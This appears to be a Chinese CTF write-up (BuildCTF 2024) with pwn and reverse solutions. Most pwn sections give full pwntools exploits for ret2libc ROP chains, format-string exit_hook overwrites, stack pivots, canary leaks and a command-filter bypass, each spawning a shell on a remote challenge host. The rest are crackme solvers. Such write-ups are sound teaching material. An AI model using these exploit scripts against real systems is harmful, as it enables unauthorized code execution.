from ctypes import *
io = remote("27.25.151.80",34576)
libc = ELF('./libc.so.6')

io.recvuntil(b'this is gift:0x')
printf_got = int(io.recvuntil(b'\n'),16)
# print(hex(printf_got))

libc_delta = printf_got - libc.symbols["printf"]
# print(hex(libc_delta))
sys_addr = libc_delta + libc.symbols["system"]
binsh_addr = libc_delta + next(libc.search(b'/bin/sh'))
pop_rdi_ret = libc_delta + 0x2a3e5
ret = libc_delta + 0xf8c92

sleep(0.1); io.sendline(b'')
rubbish = b'A'*0x80 + b'a'*0x08
payload = rubbish + p64(pop_rdi_ret) + p64(binsh_addr)+\
            p64(ret) + p64(sys_addr)
sleep(0.1); io.sendline(payload)

io.interactive()

7.Format1 - by ShallowDream

查看发现保护全开,进入 IDA64 分析:

先泄露了一个 puts 的 libc 地址,然后存在一个格式化字符串漏洞就没有了。

由于输入的 payload 通过 %s 输入(不存在空格截断!) 最多可以有 0x48 的长度,并且我们已经获得了 libc 的地址可以计算 ld 的地址。那么足够我们依次按字节修改 exit_hook (一个系统提供的 存储 在执行 exit() 之前调用的自定义函数 的地址 的指针),存储在 ld 中,并且题目提供了 ld 版本,这题就打 exit_hook。

先接受一下题目的 puts_addr 然后计算 libc 基址。再计算一下 ld 的基址,在 2.31 版本下与 libc_base 的地址相差为0x1f400

    ru(b"What's this? => ")
    puts_addr = int(p.recvuntil(b'\n',drop = True),16)
    libc_base = puts_addr - libc.sym["puts"]
    
    ld_base = libc_base + 0x1f4000

接着 exit_hook 的指针存储在 ld 的 _rtld_global 这个结构体里面,有两个指针都可以被调用,分别为 _dl_rtld_lock_recursive 和 _dl_rtld_unlock_recursive,使用哪一个都可以。我们打开 ld 查找这两个指针与结构体的开头的偏移量,分别为 0xf08 和 0xf10,那么可以计算得到:

    _rtld_global = ld_base + ld.sym['_rtld_global']
    _dl_rtld_lock_recursive = _rtld_global + 0xf08
    _dl_rtld_unlock_recursive = _rtld_global + 0xf10

那么我们只需要将其一指针改为 one_gadget,就可以在执行 exit 退出程序前获得权限了,找一下 libc 库中的可以利用的 one_gadget,发现一共有三个,条件分别为 !r15 && !r12!r15 && !rdx!rsi && rdx,那么我们先全部算一下:

    one_gadget = libc_base + 0xe3b2e
    # one_gadget = libc_base + 0xe3b31
    # one_gadget = libc_base + 0xe3b34

由于 one_gadget 和 _rtld_global 结构体均是外部动态库导入,地址相差不是很多,并且刚才的计算我们也可以发现 libc_base 和 ld_base 相差不大。再通过动态调试我们可以发现 one_gadget 和 _dl_rtld_unlock_recursive 的地址只有后面 3 个字节可能不一样,所以我们只需要分别修改 _dl_rtld_unlock_recursive 的后三个字节即可:

    count = (one_gadget & 0x000000000FFFFFF)
    low1 = count & 0xff
    low2 = count >> 8 & 0xff
    low3 = count >> 8 * 2 & 0xff

先用 py = b'DDDDDDDD' + b'.%p'*6 看一下距离 format 数组的偏移量,发现为第六个:

   py = b'DDDDDDDD' + b'.%p'*6
   sl(py)

然后开始构造 payload,由于 printf 的格式化字符串中的 %n 系列会将栈上存储的内容视为一个地址,向里面写入已输出的字节数,那么我们需要把每一个字节的地址都写入栈内:

    py += p64(_dl_rtld_unlock_recursive) + p64(_dl_rtld_unlock_recursive+1) +\
          p64(_dl_rtld_unlock_recursive+2)

但是已输出的字节数有可能会大于我们需要写入的那个字节,所以我们用 python 提供的字符串格式化功能,对写入的数字%0x100 即可:

    py = '%{}c%11$hhn'.format(low1).encode("utf-8")
    py += '%{}c%12$hhn'.format((low2 - low1 + 0x100) % 0x100).encode("utf-8")
    py += '%{}c%13$hhn'.format((low3 - low2 + 0x100) % 0x100).encode("utf-8")

由于 64位偏移的时候是八个字节一偏移,所以我们还需要将上面的字符串对齐一下。

再注意最后输出时, %s 遇到 \x00 就停止了,所以我们需要把三个地址放在后面,把格式化字符串放在前面,

    py = '%{}c%11$hhn'.format(low1).encode("utf-8")
    py += '%{}c%12$hhn'.format((low2 - low1 + 0x100) % 0x100).encode("utf-8")
    py += '%{}c%13$hhn'.format((low3 - low2 + 0x100) % 0x100).encode("utf-8")
    py = py.ljust(12 * 3 + 4, b'a')  # +4是为了8字节对齐!

    py += p64(_dl_rtld_unlock_recursive) + p64(_dl_rtld_unlock_recursive+1) +\
          p64(_dl_rtld_unlock_recursive+2)

然后最后随便往 v5 里面输点东西,注意回车不要覆盖到 canary 即可。

完整EXP:

# -*- coding: utf-8 -*-
from ctypes import *
from time import *
from LibcSearcher import LibcSearcher
from cryptography.utils import int_to_bytes
from pwn import *
# context.terminal = ['tmux','splitw','-h']
# context(log_level = "debug",arch = "amd64",os = 'linux')
context(arch = "amd64",os = 'linux')
ip = '27.25.151.80'; port = '43301'

def connect():
    global p,elf,libc,libclib,libc_name,file_name,ld,ld_name
    file_name = './test'
    ld_name = './ld-2.31.so'
    local = 1
    if local:
        # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name})
        libc_name = './libc-2.31.so'
        libclib = cdll.LoadLibrary('./libc-2.31.so')
        p = process(file_name)
    else:
        libc_name = 'libc-2.31.so'
        libclib = cdll.LoadLibrary('./libc-2.31.so')
        p = remote(ip,port)
    ld = ELF(ld_name)
    elf = ELF(file_name)
    libc = ELF(libc_name)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda n                  :p.recv(n)
rl      = lambda n                  :p.recvline(n)
ru      = lambda x                  :p.recvuntil(x)
rud     = lambda x                  :p.recvuntil(x, drop = True)
uu64    = lambda                    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
ita     = lambda                    :p.interactive()
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

def db():
    gdb.attach(p)

def pwn():
    ru(b"What's this? => ")
    puts_addr = int(p.recvuntil(b'\n',drop = True),16)
    libc_base = puts_addr - libc.sym["puts"]
    ld_base = libc_base + 0x1f4000
    _rtld_global = ld_base + ld.sym['_rtld_global']
    _dl_rtld_lock_recursive = _rtld_global + 0xf08
    _dl_rtld_unlock_recursive = _rtld_global + 0xf10

    one_gadget = libc_base + 0xe3b2e
    # one_gadget = libc_base + 0xe3b31
    # one_gadget = libc_base + 0xe3b34

    print(hex(libc_base))
    print(hex(puts_addr))
    print(hex(one_gadget))
    print(hex(_dl_rtld_unlock_recursive))
    print(str(_dl_rtld_unlock_recursive))
    print(len(str(_dl_rtld_unlock_recursive)))

    count = (one_gadget & 0x000000000FFFFFF)
    print(hex(count))
    print(str(count))
    print(len(str(count)))
    low1 = count & 0xff
    low2 = count >> 8 & 0xff
    low3 = count >> 8 * 2 & 0xff
    print(hex(low1))
    print(hex(low2))
    print(hex(low3))

    # db()
    # py = b'DDDDDDDD' + b'.%p'*6
    py = '%{}c%11$hhn'.format(low1).encode("utf-8")
    py += '%{}c%12$hhn'.format((low2 - low1 + 0x100) % 0x100).encode("utf-8")
    py += '%{}c%13$hhn'.format((low3 - low2 + 0x100) % 0x100).encode("utf-8")
    py = py.ljust(12 * 3 + 4, b'a')  # +4是为了8字节对齐!

    py += p64(_dl_rtld_unlock_recursive) + p64(_dl_rtld_unlock_recursive+1) +\
          p64(_dl_rtld_unlock_recursive+2)
    print(py)
    sl(py)

    py = b'deadbeef!!!!!!!!'
    sl(py)

    p.interactive()

connect()
pwn()

8.retret - by ShallowDream

先分析程序的主流程:

在第一次输入不能溢出,然后题目泄露出了刚才输入的 buf 的地址。紧接着进入了一个可以溢出一个 rbp 的位置 explore 函数,返回后进紧接着执行这个函数的 leave; ret

那么紧挨着的两个 leave 让我们可以将栈劫持到任何一个位置。由于这题开了 NX 堆栈不可执行,考虑将 buf 内写入我们构造的 rop 然后通过两次 leave 将栈劫持到 buf 上,buf 的第一个字节就相当于函数返回时栈用来存 rbp 返回地址的位置,后面便是 ret 的地址。

由于只能输入 16 个字符,所以不能使用 sendline 要用 send 不然会多输入一个回车影响到后面的输入!

rubbish = b'D'*0x08
payload2 = rubbish + p64(buf_addr1)
io.send(payload2)

题目并没有现成的 system 函数和 /bin/sh 字符串,那么我们考虑先泄露出 read 函数的地址然后计算出 libc 的偏移量,便可以从动态库中找到可用的 syscall 和 /bin/sh。

由于是 64 位需要用寄存器传参,我们用 ropper 在 ELF 文件里面找一下现有的 gadget 发现有,直接用:

pop_rdi_ret = 0x40119e
ret = 0x40101a

由此便可以构造第一次 payload1,在 buf 内先写入 0x08 字节给 leave ,然后填充 ret 时要执行的 puts,先用 pop_rdi_ret 来为 rdi 传参 read_got ,然后对齐一下 rsp 的末位传入一个 ret ,接着传入 puts_plt 和其返回地址 main,完成第一次泄露并返回到 main

rubbish = b'D'*0x08
payload1 = rubbish + p64(pop_rdi_ret) + p64(read_got) +\
           p64(ret) + p64(puts_plt) + p64(main_addr)
io.sendline(payload1)

接着通过程序输出的 read_addr 计算出偏移地址,并由此构造第二次的 get shell 的 payload2:

io.recvuntil(b'Have a good time!\n')
read_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_delta = read_addr - libc.symbols["read"]
sys_addr = libc_delta + libc.symbols["system"]
binsh_addr = libc_delta + next(libc.search(b'/bin/sh'))

payload3 = rubbish + p64(pop_rdi_ret) + p64(binsh_addr)+\
            p64(ret) + p64(sys_addr)
io.send(payload3)

最后在 explore 函数中覆盖一次 rbp ,这次 sendline 或者 send 均可。

完整EXP:

from pwn import *
from ctypes import *
io = remote("27.25.151.80",38118)
# io = process("./pwn")
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
read_got = elf.got["read"]
puts_plt = elf.plt["puts"]
main_addr = 0x4012BF
pop_rdi_ret = 0x40119e
ret = 0x40101a
rubbish = b'D'*0x08

payload1 = rubbish + p64(pop_rdi_ret) + p64(read_got) +\
           p64(ret) + p64(puts_plt) + p64(main_addr)
io.sendline(payload1)

io.recvuntil(b'OK! This is you menbership card number ')
buf_addr1 = int(io.recvuntil(b'\n',drop=True),16)
# print(hex(buf_addr1))
payload2 = rubbish + p64(buf_addr1)
io.send(payload2)

io.recvuntil(b'Have a good time!\n')
read_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
# print(hex(read_addr))
libc_delta = read_addr - libc.symbols["read"]
# print(hex(libc_delta))
sys_addr = libc_delta + libc.symbols["system"]
binsh_addr = libc_delta + next(libc.search(b'/bin/sh'))
payload3 = rubbish + p64(pop_rdi_ret) + p64(binsh_addr)+\
            p64(ret) + p64(sys_addr)
io.sendline(payload3)

io.recvuntil(b'OK! This is you menbership card number ')
buf_addr2 = int(io.recvuntil(b'\n',drop=True),16)
# print(hex(buf_addr))
payload4 = rubbish + p64(buf_addr2)
io.send(payload4)

io.interactive()

9.touch heart - by ShallowDream

分析程序发现,输入一个字符串,如果合法就用 system 来执行这个字符串。
是否合法通过 strstr 来严格匹配,那么我们只需要加入几个不会被识别的字符即可:

完整EXP:

from pwn import *
io = remote("27.25.151.80",33257)
io.sendline(b'ca\\t fla\\g')
io.interactive()

10.对你爱不完 - by ShallowDream

分析程序,先要输入一个固定字符串 We passed the end, so we chase forever\n

然后输入字符串到 buf ,经过 change 函数后复制回 buf 中,关注是 change 内的流程设计,发现是将最多 14 个单字节的 0x40 转化为 8 个字节的字符串 love you,那么最长的长度为 14*8 + 0x64 - 14 大于了 buf 的长度 0x80 存在栈溢出漏洞,由于没有 canary 保护,我们可以直接劫持栈。

我们首先需要覆盖 0x88 个字符,考虑先输入 14个 0x40 ,再输入 24个字节即可覆盖到 ret 处,观察到没有现成的 system/bin/sh ,那么我们同样考虑第一次泄露出 read 函数的 got 表内的地址,然后计算出动态库偏移量,接着求出动态链接的 system 和 /bin/sh 的地址:

并且 64 位需要用寄存器传参,我们先用 ropper 找到一下 gadget:

pop_rdi_ret = 0x40127d
ret = 0x40101a

然后构造第一次的 payload1 泄露地址,先按上述覆盖至 ret,然后用 rdi 传参,再对齐 rsp,再调用 puts,最后返回地址填写 main:

rubbish = b'\x40' * 14 + b'A'*8 *2 + b'a'*8
payload2 = rubbish + p64(pop_rdi_ret) + p64(read_got) +\
            p64(ret) + p64(puts_plt) + p64(main_addr)

通过输出的 read 的地址便可以算出动态库加载的基地址,然后便可以算出 system 和 /bin/sh 的字符串的位置。

然后第二次再来一次输入字符串,然后输入构造的 get shell 的 payload2,注意这次不需要对齐 rsp,可能是因为上方的 payload2 调用 main 结束时是不齐的,所以这次是奇数个刚好对齐了 rsp。

完整EXP:

from pwn import *
from ctypes import *
io = remote("27.25.151.80",38125)
libc = ELF('./libc.so.6')
elf = ELF('./endless love')
read_got = elf.got["read"]
puts_plt = elf.plt["puts"]
main_addr = 0x40136C
pop_rdi_ret = 0x40127d
ret = 0x40101a

payload1 = b'We passed the end, so we chase forever'
io.sendline(payload1)

# replace = "love you"  0x80 / 8
rubbish = b'\x40' * 14 + b'A'*8 *2 + b'a'*8
payload2 = rubbish + p64(pop_rdi_ret) + p64(read_got) +\
            p64(ret) + p64(puts_plt) + p64(main_addr)
io.sendline(payload2)

io.recvuntil(b'\xA5\xE7')
read_got = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read_got))
libc_delta = read_got - libc.symbols["read"]
print(hex(libc_delta))
sys_addr = libc_delta + libc.symbols["system"]
binsh_addr = libc_delta + next(libc.search(b'/bin/sh'))

payload3 = b'We passed the end, so we chase forever'
io.sendline(payload3)

payload4 = rubbish + p64(pop_rdi_ret) + p64(binsh_addr)+\
            p64(sys_addr)   # 注意这里不需要 ret !!!
io.sendline(payload4)

io.interactive()

11.我要成为沙威玛传奇 - by ShallowDream

分析题目发现只需要一口气吃下超过 99 个沙琪玛即可获得权限

第五个选项可以有概率直接获得沙琪玛,那么我们直接反复输入 5 然后全部吃掉即可获得 shell,再输入 cat flag 获得 flag:

完整EXP:

from pwn import *
io = remote("27.25.151.80",38134)
for i in range(1000):
    io.sendline(b'5')
io.sendline(b'2')
io.sendline(b'cat flag')
io.interactive()

12. login - by ShallowDream

拿到题目查看保护,发现只开了 NX保护,进入 IDA 分析:

发现程序是很清晰的溢出 0x10,然后紧挨着两次 leave; ret; leave; ret ,那么我们可以通过这两次连续的 leave 来完成栈迁移到 bss 上。

由于 leave 的本质是 mov rsp,rbp; pop rbp ,所以如果此时再来一次 leave 就会把此时的 rsp 改为 rbp,即如果溢出的前 0x08 内写的是 bss_addr 的话,两次 leave 后 rsp 就等于 bss_addr 了,由于没有 PIE,以此我们便可以将栈迁移到 bss 段上,更好地完成后续操作。

但是考虑到 leave 后紧接着需要一个 ret,此时 rsp 指向 bss 上的一个地址,那么我们需要提前往里面写入需要程序返回执行的代码的地址。

关键在于访问 变量位置rbp 来决定,我们查看汇编代码,发现 read 往 buf 这个数组里写数据,本质是往 rbp-0x30 这个位置写入数据,所以当我们将 rbp 通过 leave 变成了 bss_addr 后,再执行 read 便会往 bss_addr - 0x30 这个位置读入数据了。

注意每次输入都用 send 不要使用 sendline !不然这个回车会变为下一次 payload 里的第一个字符。

那么我们将第一次溢出的 ret 位置填入 login 函数内的 read 开始的地址(注意要跳过 puts 函数!puts 函数调用会执行 push 操作,会覆盖 rsp-0x10 开始的两个位置,影响后续我们的操作,蒟蒻在这里动态调了半天):

    login_read_addr = 0x4006D9      #跳过 puts 函数!!!有压栈操作影响上方内容!!
    bss_addr = 0x601300
    py = b'A'*0x30 + p64(bss_addr) + p64(login_read_addr)
    s(py)

那么此时 rbp 等于 bss_addr,这次 read 就会从 bss_addr - 0x30 的位置开始写,我们这次将 rbp 通过 leave 到整个 bss 段栈的正上方 bss_addr - 0x38,这样下次 leave 的时候就会劫持程序流到 bss_addr - 0x30 的位置,所以我们可以在 bss_addr - 0x30 的位置构造我们的 ROP 链:

    py = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(login_read_addr)+\
        p64(0)*2 + p64(bss_addr-0x38) + p64(login_read_addr)
    s(py)

read 结束后 leave; ret,此时 rbp = bss_addr - 0x38rsp = bss_addr - 0x30,进行第三次 read,本次 read 结束后可以进入 ROP 链泄露出 libc 的基址,那么我们只需要将 rbp 现在在的位置里面写入 bss_addr - 0x38 就可以让 rbp 在 leave 时原地不动,等着 rsp 指过来。切记不能把 bss_addr - 0x30 覆盖了,这里面存着我们 ROP 链的开始呢:

    py = b'A'*0x30 + p64(bss_addr-0x38)
    s(py)

那么此时程序进入 ROP 链,我们计算得到 libc 的基址,和 one_gadget 的地址:

    puts_addr = uu64()
    libc_base = puts_addr - libc.symbols["puts"]
    one_gadget_addr = libc_base + one_gadget_delta

最后再覆盖 ret 的位置为 one_gadget_addr 即可获得权限:

    py = b'A'*0x38 + p64(one_gadget_addr)
    s(py)
  • 记得本地调试之前,先用 patchelf 改 libc 和 ld !

完整EXP:

# -*- coding: utf-8 -*-
from LibcSearcher import LibcSearcher
from cryptography.utils import int_to_bytes
from pwn import *
# context.terminal = ['tmux','splitw','-h']
context(log_level = "debug",arch = "amd64",os = 'linux')
file_name = './vuln'
ip = '27.25.151.80'; port = '43711'
# ld_name = '/home/shallow2/glibc-all-in-one/libs/.../ld-2.23.so'
# libc_name='/home/shallow2/glibc-all-in-one/libs/.../libc.so.6'
libc_name = 'libc-2.23.so'

def connect():
    global p, elf, libc
    local = 1
    if local:
        # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name})
        p = process(file_name)
    else:
        p = remote(ip,port)
    elf = ELF(file_name)
    libc = ELF(libc_name)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda n                  :p.recv(n)
rl      = lambda n                  :p.recvline(n)
ru      = lambda x                  :p.recvuntil(x)
rud     = lambda x                  :p.recvuntil(x, drop = True)
uu64    = lambda                    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
n2b     = lambda data               :str(data).encode("utf-8")
ita     = lambda                    :p.interactive()
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

def db():
    gdb.attach(p)

def pwn():
    login_read_addr = 0x4006D9      #跳过 puts 函数!!!有压栈操作影响上方内容!!
    bss_addr = 0x601300
    one_gadget_delta = 0x4527a
    pop_rdi_ret = 0x0400783
    puts_got = elf.got["puts"]
    puts_plt = elf.plt["puts"]

    py = b'A'*0x30 + p64(bss_addr) + p64(login_read_addr)
    s(py)

    py = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(login_read_addr)+\
        p64(0)*2 + p64(bss_addr-0x38) + p64(login_read_addr)
    s(py)

    py = b'A'*0x30 + p64(bss_addr-0x38)
    s(py)

    puts_addr = uu64()
    libc_base = puts_addr - libc.symbols["puts"]
    one_gadget_addr = libc_base + one_gadget_delta
    # print(hex(puts_addr))
    # print(hex(libc_base))
    # print(hex(one_gadget_addr))

    # db()
    py = b'A'*0x38 + p64(one_gadget_addr)
    s(py)

    p.interactive()

connect()
pwn()

13.unint - by ShallowDream

拿到文件查看下保护,发现是 32位的程序,开了 NX和 Canary 保护,拖进 IDA32 分析下:

先是一个长度检测,但是只检查了上界,可以用负数绕过。

    sl(b'-1')

然后进入一个 gift 函数有 6个字节的格式化字符串漏洞,可以用来泄露 Canary。

然后是手写的一个 read ,以 \x0a 为结尾。但是传入的长度是 unsigned int 类型,正好前面输入的负数传进来就会变成一个很大的整数。

由于每次只能输入最多6个字节的格式化字符串,我们一个个偏移量用 b'%i$x\x0A' 查看里面的内容,由于 Canary 的末位一定为 \x00 ,并且每次都是随机,我们以此来判断是否找到了其位置。

直到 b'%6$x\x0A' 时找到了一个末位为 \x00 的位置,但是每次重新运行程序只是最后几位变化了,推测这只是某个 libc 库内的地址。在 b'%7$x\x0A' 时找到了真正的 Canary,确认其位置在偏移量为 7 处,那么我们可以泄露它,记得使用 send 不要用 sendline

    # py = b'%7$x\x0a'
    py = b'%7$u\x0A'
    s(py)
    
    ru(b"Your name is:")
    canary = int(rud(b'Show'))

然后第一次泄露 libc,由于是 32位 不需要寄存器传参,全部都在栈内传参,先覆盖 ret 为 puts_plt ,然后压入返回的地址填 main_addr,再压入参数 puts_got 最后一个本题的结束符号 b'\x0A'。注意观察本题的栈结构,先是 32字节的 nptr,然后 4个字节Canary,接着还有 8个字节,然后才是 leave 和 ret:

    py = b"A"*32 + p32(canary) + p32(0)*2 + b'B'*4 +\
        p32(puts_plt) + p32(main_addr) + p32(puts_got)  + b'\x0A'
    s(py)

接着接收计算 libc 和所需的 system 函数地址,b'/bin/sh' 字符串的地址:

    puts_addr = u32(ru(b'\xf7')[-4:])
    libc_base = puts_addr - libc.symbols["puts"]
    sys_addr = libc_base + libc.symbols["system"]
    binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

然后重新运行 main,重复一遍刚才的流程,将最后的 payload 改为溢出到 system_addr,参数为 binsh_addr 便可以获取权限了:

    py = b"A"*32 + p32(canary) + p32(0)*2 + b'B'*4 +\
        p32(sys_addr) + p32(main_addr) + p32(binsh_addr)  + b'\x0A'
    s(py)

完整EXP:

# -*- coding: utf-8 -*-
from LibcSearcher import LibcSearcher
from cryptography.utils import int_to_bytes
from pwn import *
# context.terminal = ['tmux','splitw','-h']
context(log_level = "debug",arch = "amd64",os = 'linux')
file_name = './unint'
ip = '27.25.151.80'; port = '43763'
# ld_name = '/home/shallow2/glibc-all-in-one/libs/.../ld-2.23.so'
# libc_name='/home/shallow2/glibc-all-in-one/libs/.../libc.so.6'
libc_name = 'libc-2.23.so'

def connect():
    global p, elf, libc
    local = 0
    if local:
        # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name})
        p = process(file_name)
    else:
        p = remote(ip,port)
    elf = ELF(file_name)
    libc = ELF(libc_name)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda n                  :p.recv(n)
rl      = lambda n                  :p.recvline(n)
ru      = lambda x                  :p.recvuntil(x)
rud     = lambda x                  :p.recvuntil(x, drop = True)
uu64    = lambda                    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
n2b     = lambda data               :str(data).encode("utf-8")
ita     = lambda                    :p.interactive()
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

def db():
    gdb.attach(p)

def pwn():
    puts_got = elf.got["puts"]
    puts_plt = elf.plt["puts"]
    main_addr = elf.symbols["main"]
    # db()

    sl(b'-1')
    # py = b'%7$x\x0a'
    py = b'%7$u\x0A'
    s(py)
    ru(b"Your name is:")
    canary = int(rud(b'Show'))
    # print(hex(canary))

    py = b"A"*32 + p32(canary) + p32(0)*2 + b'B'*4 +\
        p32(puts_plt) + p32(main_addr) + p32(puts_got)  + b'\x0A'
    s(py)
    # print(py)

    puts_addr = u32(ru(b'\xf7')[-4:])
    libc_base = puts_addr - libc.symbols["puts"]
    sys_addr = libc_base + libc.symbols["system"]
    binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
    # print(hex(puts_addr))
    # print(hex(libc_base))
    # print(hex(sys_addr))
    # print(hex(binsh_addr))

    sl(b'-1')
    py = b'%7$u\x0A'
    s(py)
    ru(b"Your name is:")
    canary = int(rud(b'Show'))
    # print(hex(canary))

    py = b"A"*32 + p32(canary) + p32(0)*2 + b'B'*4 +\
        p32(sys_addr) + p32(main_addr) + p32(binsh_addr)  + b'\x0A'
    s(py)
    # print(py)

    p.interactive()

connect()
pwn()

Reverse

1.ez-xor - by ShallowDream

查个壳,发现没有壳,拖进 IDA64 分析下。

Shift + F12 找到一个字符串 You got it! ,交叉引用定位到主要逻辑的函数。

看最后的比较,发现是把 Str 和 v9 里面按字节比较,前 32 位均相等即通过检查,那我们把从 v9 开始的32个字节扒下来,包括了下方 v10的前5个字节:

ans = [25,104,-94,-17,123,-70,14,-59,93,0x80,-17,9,11,-47,
       -127,-15,-16,51,-90,17,35,88,92,43,56,-115,0x80]
for x in "`a'H5": ans.append(ord(x))

往上看发现我们输入的字符串存在 Str 内,经过一个函数变换后再进行比较,看下函数的另一个参数是一个字符串 BuildCTF2024!^_^,点进去交叉引用发现除了 main,还有另一个函数也调用了它。

函数检测如果不存在动态调试的话,逐字节用 byte_1400070B8 数组对其异或,那么我们都扒下来异或回去:

init_key = list(ord(x) for x in 'BuildCTF2024!^_^')
xor = [0x75,0x1D,0x58,0x1F,0x3B,0x72,0x61,0x19,0x72,0x6F,0x59,0x51,0x58,0x1E,0x1E,0x1E]
after_key = list(map(lambda x,y:x^y,init_key,xor))

然后看变换函数的流程,用传入异或后的字符串,来初始化两个数组。然后再一边交换数组,一边将输入的字符串相减得到最后的 ans,那么我们按照程序逻辑,原封不动的初始化数组。

注意每一个单元都是 char 类型,每次操作都在 %256 的意义下 (x+256)%256

G = [i for i in range(256)]
B = [0 for i in range(256)]

for j in range(256):
    B[j] = (after_key[j % 16] + 256) % 256
    
j = 0
for k in range(256):
    j = (B[k] + G[k] % 63 + j) % 256
    G[k],G[j] = G[j],G[k]

然后回到变化函数,先变成循环结束时的状态:

v3 = 0; v4 = 0
for i in range(32):
    v3 = (v3+7) % 256
    v4 = (v4+G[v3]) % 256
    G[v3],G[v4] = G[v4],G[v3]

然后倒着模拟回去,便可以得到原数组,同样所有操作都要注意在 %256 的意义下:

for i in range(31,-1,-1):
    ans[i] = ((ans[i]+256)%256 + G[ (G[v4]+G[v3])%256 ])%256
    G[v3], G[v4] = G[v4], G[v3]
    v4 = (v4 - G[v3] + 256) % 256
    v3 = (v3 - 7 + 256) % 256

完整EXP:

show_arr = lambda x: print(len(x),":",list(hex(y) for y in x))
def show_str(x):
    for cur in x: print(chr(cur), end='')
    print("")

ans = [25,104,-94,-17,123,-70,14,-59,93,0x80,-17,9,11,-47,
       -127,-15,-16,51,-90,17,35,88,92,43,56,-115,0x80]
for x in "`a'H5": ans.append(ord(x))
# show_arr(ans)

init_key = list(ord(x) for x in 'BuildCTF2024!^_^')
xor = [0x75,0x1D,0x58,0x1F,0x3B,0x72,0x61,0x19,0x72,0x6F,0x59,0x51,0x58,0x1E,0x1E,0x1E]
after_key = list(map(lambda x,y:x^y,init_key,xor))
# show_arr(init_key); show_arr(xor)
# show_arr(after_key); show_str(after_key)

G = [i for i in range(256)]
B = [0 for i in range(256)]

for j in range(256):
    B[j] = (after_key[j % 16] + 256) % 256

j = 0
for k in range(256):
    j = (B[k] + G[k] % 63 + j) % 256
    G[k],G[j] = G[j],G[k]

show_arr(B)
show_arr(G)

v3 = 0; v4 = 0
for i in range(32):
    v3 = (v3+7) % 256
    v4 = (v4+G[v3]) % 256
    G[v3],G[v4] = G[v4],G[v3]
print(hex(v3),hex(v4))

for i in range(31,-1,-1):
    ans[i] = ((ans[i]+256)%256 + G[ (G[v4]+G[v3])%256 ])%256
    G[v3], G[v4] = G[v4], G[v3]
    v4 = (v4 - G[v3] + 256) % 256
    v3 = (v3 - 7 + 256) % 256

show_str(ans); show_arr(ans)

# def check():
    # input = [ord(x) for x in '5trE4m_EncrYpt_15_eAsy_t0_cRaCk!']
    #
    # v3 = 0; v4 = 0
    # for i in range(32):
    #     v3 = (v3 + 7) % 256
    #     v4 = (v4 + G[v3]) % 256
    #     G[v3], G[v4] = G[v4], G[v3]
    #     input[i] = (input[i] - G[(G[v4]+G[v3])%256] + 256)%256
    #     print(hex(v3),hex(v4),hex(G[v4]),hex(G[v3]),hex(input[i]))
    #
    # show_str(input)
    # show_arr(input)
    # new_ans = [(x+256)%256 for x in ans]
    # show_arr(new_ans)
# check()

2.babyre - by ShallowDream

查壳,无壳,打开 IDA 分析。

发现一共要输入 46个字节分成两组加密,前 23 个字符依次异或 0x0A ,得到的结果为 Buf2 和 v8 拼起来,需要注意的是由于本题是小段程序,低地址存放低字节,所以 Buf2 内的数据要反过来才是比较的顺序,我们扒下来:

cmp1 = [0x48,0x7F,0x63,0x66,0x6E,0x69,0x7E,0x6C]
cmp1 += list(libnum.s2n(x) for x in "qo92i2??>'8=i;'")

然后比较的后 23个字节是 v5 和 v6 拼起来,同样是注意每个数字的字节倒过来读,并且第三个数字要覆盖掉第二个数字的第 8 个字节也就是最高位,扒下来:

cmp2 = [0x19,0x57,0x51,0x51,0x4E,0x14,0x00,0x58,
        0x05,0x49,0x1D,0x51,0x57,0x52,0x57,
        0x56,0x01,0x52,0x00,0x52,0x55,0x52,0x1E]

它们是由后 23个字节依次与前一个位置异或得到的,那我们想要得到原数据倒过来从后往前异或即可:

cmp2[0] ^= cmp1[22]
for j in range(1,23,1): cmp2[j] ^= cmp2[j-1]

完整EXP:

import libnum
from cryptography.utils import int_to_bytes

cmp1 = [0x48,0x7F,0x63,0x66,0x6E,0x69,0x7E,0x6C]
cmp1 += list(libnum.s2n(x) for x in "qo92i2??>'8=i;'")
# print(cmp1,len(cmp1))

cmp2 = [0x19,0x57,0x51,0x51,0x4E,0x14,0x00,0x58,
        0x05,0x49,0x1D,0x51,0x57,0x52,0x57,
        0x56,0x01,0x52,0x00,0x52,0x55,0x52,0x1E]
print(cmp2,len(cmp2))

for i in range(23): cmp1[i] ^= 10

cmp2[0] ^= cmp1[22]
for j in range(1,23,1): cmp2[j] ^= cmp2[j-1]

for x in cmp1: print(chr(x),end='')
for x in cmp2: print(chr(x),end='')

3.pyc - by ShallowDream

拿到了 .pyc 的源码,我们在命令行下使用 uncompyle6 2.pyc > 1.py 指令得到 .py 文件,开始分析。

发现加密函数的逻辑为逐字符 x = ( (x^32)+16 ) %256 ,最后 base64 编码一下。

